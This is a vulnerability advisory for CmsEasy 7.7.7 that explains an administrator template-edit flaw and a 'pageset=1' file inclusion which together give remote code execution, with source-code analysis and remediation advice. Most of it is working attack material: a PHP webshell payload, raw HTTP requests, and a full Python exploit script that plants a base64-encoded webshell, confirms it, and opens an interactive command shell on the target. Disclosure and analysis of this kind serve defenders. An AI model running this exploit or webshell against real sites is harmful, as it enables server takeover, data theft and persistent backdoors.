CmsEasy 7.7.7 - Template Edit Remote Code Execution Vulnerability
CmsEasy 7.7.7 - Template Edit Remote Code Execution Vulnerability
BUG_Author: yu22x
Affected version: CmsEasy 7.7.7
Vendor: https://www.cmseasy.cn/
Software: https://www.cmseasy.cn/download/
Vulnerability File:
/lib/admin/template_admin.php
/lib/inc/view.php
Description
CmsEasy version 7.7.7 contains a remote code execution vulnerability in the backend template management module. An authenticated administrator can edit template files to inject malicious PHP code, which will be written to the /data/template/ directory. By accessing the website with the "pageset=1" parameter, the system loads templates from the /data/template/ directory and executes the injected PHP code via the include function, leading to remote code execution.
Vulnerability Details
The vulnerability exists in the template editing functionality. When an administrator saves a template through the "savetemp_action" function, the system writes the template content to both /template/ and /data/template/ directories without sanitizing PHP code. The saveCache() function writes user-controlled content directly to /data/template/{template_dir}/{name}.html. When a user accesses any page with the "pageset=1" parameter, the fetch() function in view.php loads templates from /data/template/ instead of /template/, and the _eval() function uses PHP's include statement to execute the template file, resulting in arbitrary code execution.
Proof of Concept
Step 1: Login to Admin Panel
Navigate to the backend login page and authenticate as administrator:
URL: http://target.com/index.php?case=admin&act=login&admin_dir=admin
Step 2: Access Template Management
Navigate to the template management page:
URL: http://target.com/index.php?case=template&act=visual&admin_dir=admin
Or find "Template" -> "Template Management" in the left sidebar menu.
Step 3: Edit Template and Inject Malicious Code
Edit the index template (index/index.html) and inject the following PHP payload:
<?php file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');echo 'RCE_SUCCESS';?>
Click the "Save" button to save the template.
Alternatively, send the following HTTP request directly:
POST /index.php?admin_dir=admin&case=template&act=savetemp HTTP/1.1
Host: target.com
Cookie: PHPSESSID=xxx; login_username=admin; login_password=xxx
Content-Type: application/x-www-form-urlencoded
name=index-index&content=<?php file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');echo 'RCE_SUCCESS';?>&tempdata=test
Step 4: Trigger the Vulnerability
Access the homepage with the "pageset=1" parameter to trigger the file inclusion:
URL: http://target.com/index.php?case=index&act=index&pageset=1
The page will display "RCE_SUCCESS" and create a webshell file "shell.php" in the web root directory.
Step 5: Access Webshell
Access the generated webshell:
URL: http://target.com/shell.php
Send POST request with command:
cmd=system('whoami');
Source Code Analysis
During the security audit, I discovered a dangerous file write operation in the saveCache function:
File: /lib/admin/template_admin.php (Line 280-287)
function saveCache($dir, $name, $data)
{
$file = ROOT . '/data/template/' . $dir . '/' . str_replace('-', '/', $name) . '.html';
if (!is_dir(dirname($file))) {
tool::mkdir(dirname($file));
}
return file_put_contents($file, $data); // User input written directly without filtering
}
Tracing the usage of this saveCache method:
File: /lib/admin/template_admin.php (Line 358-430)
function savetemp_action()
{
front::$post['content'] = stripslashes(htmlspecialchars_decode(htmlspecialchars_decode(front::$post['content'], ENT_QUOTES), ENT_QUOTES));
front::$post['tempdata'] = stripslashes(htmlspecialchars_decode(htmlspecialchars_decode(front::$post['tempdata'], ENT_QUOTES), ENT_QUOTES));
$dir = config::get('template_dir');
// ...
// Write to /data/template/ directory
$cache = $this->saveCache($dir, front::$post['name'], front::$post['content']);
// Write to /template/ directory
$temp = $this->saveTemp($dir, front::$post['name'], front::$post['tempdata'],$oldname,$iscopy);
}
The savetemp_action function writes user-controlled content to both directories. The content parameter is written to /data/template/ via saveCache(), and tempdata is written to /template/ via saveTemp().
The file inclusion vulnerability exists in the fetch function:
File: /lib/inc/view.php (Line 449-454)
elseif (front::get('pageset')){
if (strpos($tpl,'shop') !== false){
$file = ROOT . '/data/template/' . $tpl;
}else{
$file = ROOT . '/data/template/' . $this->_style . '/' . $tpl;
}
}When the "pageset" parameter is present, templates are loaded from /data/template/ instead of /template/.
The _eval function executes the template via include:
File: /lib/inc/view.php (Line 508-518)
function _eval($file = null,$static=false)
{
foreach ($this as $var => $value) if (!preg_match('/^_/', $var))
$$var = $value;
if (is_object($this->_var))
foreach ($this->_var as $var => $value) $$var = $value;
$file=iconv("utf-8", "gbk",$file);
ob_start();
if ($file)
include $file; // PHP code in template gets executed here
// ...
}
By saving a template with malicious PHP code and then accessing the page with "pageset=1":
The malicious template is loaded from /data/template/default2020/index/index.html and executed via include, resulting in remote code execution.
Verification Results
Accessing http://target.com/index.php?case=index&act=index&pageset=1 triggers the vulnerability:
Response contains: RCE_SUCCESS
Webshell created at: http://target.com/shell.php
Executing system command via webshell:
POST /shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
cmd=system('whoami');
Response: yu22xca0b\yu22x
Impact
An attacker who successfully exploits this vulnerability can:
Execute arbitrary PHP code on the web server
Execute system commands with web server privileges
Read, modify, or delete any files accessible to the web server
Access sensitive data including database credentials
Install backdoors for persistent access
Completely compromise the affected system
Remediation
Filter PHP code tags (<?php, <?, ?>, etc.) in template content before saving
Restrict the "pageset" parameter to authenticated administrators only
Use a template sandbox to prevent arbitrary code execution
Implement Content Security Policy to limit template functionality
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CmsEasy 7.7.7 RCE Exploit
Vulnerability: Backend Template Edit File Write + File Inclusion -> Remote Code Execution (RCE)
Requirement: Administrator privileges required
Usage:
python3 cmseasy_rce_exp.py -u http://target.com -c "PHPSESSID=xxx; login_username=admin; login_password=xxx"
python3 cmseasy_rce_exp.py -u http://target.com -c "cookie_string" -s shell.php
python3 cmseasy_rce_exp.py -u http://target.com -c "cookie_string" --cmd "whoami"
"""
import requests
import argparse
import sys
import re
import random
import string
from urllib.parse import urljoin
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
class CmsEasyExploit:
def __init__(self, target_url, cookies_str, shell_name=None, timeout=10):
"""
Initialize exploit class
Args:
target_url: Target URL
cookies_str: Cookie string
shell_name: Webshell filename
timeout: Request timeout
"""
self.target_url = target_url.rstrip('/')
self.timeout = timeout
self.cookies = self._parse_cookies(cookies_str)
self.shell_name = shell_name or self._generate_shell_name()
self.shell_password = 'cmd'
self.session = requests.Session()
self.session.verify = False
self.session.cookies.update(self.cookies)
def _parse_cookies(self, cookies_str):
"""Parse cookie string to dictionary"""
cookies = {}
if cookies_str:
for item in cookies_str.split(';'):
item = item.strip()
if '=' in item:
key, value = item.split('=', 1)
cookies[key.strip()] = value.strip()
return cookies
def _generate_shell_name(self):
"""Generate random webshell filename"""
random_str = ''.join(random.choices(string.ascii_lowercase, k=6))
return f"{random_str}.php"
def check_login(self):
"""Check if logged into admin panel"""
print("[*] Checking admin login status...")
try:
url = urljoin(self.target_url, '/index.php?case=index&act=index&admin_dir=admin')
resp = self.session.get(url, timeout=self.timeout)
# Check if redirected to login page
if 'act=login' in resp.url or '登录' in resp.text or 'login' in resp.text.lower():
print("[-] Not logged in or invalid cookie")
return False
print("[+] Admin login status valid")
return True
except Exception as e:
print(f"[-] Failed to check login status: {e}")
return False
def write_shell(self):
"""Write webshell to template file"""
print("[*] Step 1: Writing malicious template file...")
# Webshell code
shell_code = f"<?php @eval($_POST['{self.shell_password}']);?>"
# Payload to write to template - creates webshell when triggered
payload = f"<?php file_put_contents('{self.shell_name}',base64_decode('{self._base64_encode(shell_code)}'));echo 'CMSEASY_RCE_SUCCESS';?>"
url = urljoin(self.target_url, '/index.php?admin_dir=admin&case=template&act=savetemp')
data = {
'name': 'index-index',
'content': payload,
'tempdata': payload
}
try:
resp = self.session.post(url, data=data, timeout=self.timeout)
if '保存成功' in resp.text or 'success' in resp.text.lower() or '"message"' in resp.text:
print("[+] Malicious template written successfully!")
return True
else:
print(f"[-] Failed to write template: {resp.text[:200]}")
return False
except Exception as e:
print(f"[-] Template write request failed: {e}")
return False
def _base64_encode(self, text):
"""Base64 encode"""
import base64
return base64.b64encode(text.encode()).decode()
def trigger_exploit(self):
"""Trigger file inclusion to execute malicious code"""
print("[*] Step 2: Triggering file inclusion to execute malicious code...")
# Trigger loading template from /data/template/ directory via pageset=1 parameter
url = urljoin(self.target_url, '/index.php?case=index&act=index&pageset=1')
try:
resp = self.session.get(url, timeout=self.timeout)
if 'CMSEASY_RCE_SUCCESS' in resp.text:
print("[+] Exploit triggered successfully! Webshell generated")
return True
else:
print("[!] Trigger request sent, verifying...")
return True # Continue to verify
except Exception as e:
print(f"[-] Trigger request failed: {e}")
return False
def verify_shell(self):
"""Verify if webshell is accessible"""
print("[*] Step 3: Verifying webshell...")
shell_url = urljoin(self.target_url, f'/{self.shell_name}')
try:
# Send test command
test_code = "echo 'SHELL_VERIFY_OK';"
resp = self.session.post(shell_url, data={self.shell_password: test_code}, timeout=self.timeout)
if 'SHELL_VERIFY_OK' in resp.text:
print(f"[+] Webshell verified successfully!")
print(f"[+] Shell URL: {shell_url}")
print(f"[+] Shell Password: {self.shell_password}")
return True
else:
# Try to check if file exists
resp = self.session.get(shell_url, timeout=self.timeout)
if resp.status_code == 200 and '404' not in resp.text:
print(f"[+] Webshell file exists: {shell_url}")
print(f"[+] Shell Password: {self.shell_password}")
return True
else:
print(f"[-] Webshell verification failed, file may not be generated")
return False
except Exception as e:
print(f"[-] Webshell verification failed: {e}")
return False
def execute_command(self, command):
"""Execute system command"""
shell_url = urljoin(self.target_url, f'/{self.shell_name}')
try:
php_code = f"system('{command}');"
resp = self.session.post(shell_url, data={self.shell_password: php_code}, timeout=self.timeout)
return resp.text
except Exception as e:
return f"Command execution failed: {e}"
def interactive_shell(self):
"""Interactive shell mode"""
shell_url = urljoin(self.target_url, f'/{self.shell_name}')
print(f"\n[*] Entering interactive shell mode")
print(f"[*] Shell URL: {shell_url}")
print(f"[*] Type 'exit' or 'quit' to exit\n")
while True:
try:
cmd = input("shell> ").strip()
if not cmd:
continue
if cmd.lower() in ['exit', 'quit']:
print("[*] Exiting interactive shell")
break
result = self.execute_command(cmd)
print(result)
except KeyboardInterrupt:
print("\n[*] Exiting interactive shell")
break
except Exception as e:
print(f"[-] Error: {e}")
def exploit(self):
"""Execute full exploit chain"""
print("=" * 60)
print("CmsEasy 7.7.7 RCE Exploit")
print("Vulnerability: Template Edit + File Inclusion -> RCE")
print("=" * 60)
print(f"[*] Target: {self.target_url}")
print(f"[*] Webshell: {self.shell_name}")
print()
# Step 1: Check login status
if not self.check_login():
print("[-] Please provide valid admin cookies")
return False
# Step 2: Write malicious template
if not self.write_shell():
print("[-] Failed to write malicious template")
return False
# Step 3: Trigger exploit
if not self.trigger_exploit():
print("[-] Failed to trigger exploit")
return False
# Step 4: Verify webshell
if not self.verify_shell():
print("[-] Webshell verification failed")
return False
print()
print("=" * 60)
print("[+] Exploit successful!")
print(f"[+] Webshell: {urljoin(self.target_url, '/' + self.shell_name)}")
print(f"[+] Password: {self.shell_password}")
print(f"[+] Usage: POST {self.shell_password}=phpcode")
print("=" * 60)
return True
def main():
banner = """
╔═══════════════════════════════════════════════════════════╗
║ CmsEasy 7.7.7 RCE Exploit ║
║ Template Edit + File Inclusion -> RCE ║
╚═══════════════════════════════════════════════════════════╝
"""
print(banner)
parser = argparse.ArgumentParser(
description='CmsEasy 7.7.7 RCE Exploit - Backend Template Edit File Write + File Inclusion Vulnerability',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Basic usage - Get webshell
python3 %(prog)s -u http://target.com -c "PHPSESSID=xxx; login_username=admin; login_password=xxx"
# Specify webshell filename
python3 %(prog)s -u http://target.com -c "cookie_string" -s myshell.php
# Execute command directly
python3 %(prog)s -u http://target.com -c "cookie_string" --cmd "whoami"
# Enter interactive shell
python3 %(prog)s -u http://target.com -c "cookie_string" -i
"""
)
parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://target.com)')
parser.add_argument('-c', '--cookie', required=True, help='Admin cookie string')
parser.add_argument('-s', '--shell', default=None, help='Webshell filename (default: random)')
parser.add_argument('--cmd', default=None, help='System command to execute')
parser.add_argument('-i', '--interactive', action='store_true', help='Enter interactive shell mode')
parser.add_argument('-t', '--timeout', type=int, default=10, help='Request timeout (default: 10s)')
args = parser.parse_args()
# Create exploit instance
exploit = CmsEasyExploit(
target_url=args.url,
cookies_str=args.cookie,
shell_name=args.shell,
timeout=args.timeout
)
# Execute exploit
if exploit.exploit():
# If command specified, execute it
if args.cmd:
print(f"\n[*] Executing command: {args.cmd}")
result = exploit.execute_command(args.cmd)
print(result)
# If interactive mode specified, enter interactive shell
if args.interactive:
exploit.interactive_shell()
else:
print("\n[-] Exploit failed")
sys.exit(1)
if __name__ == '__main__':
main()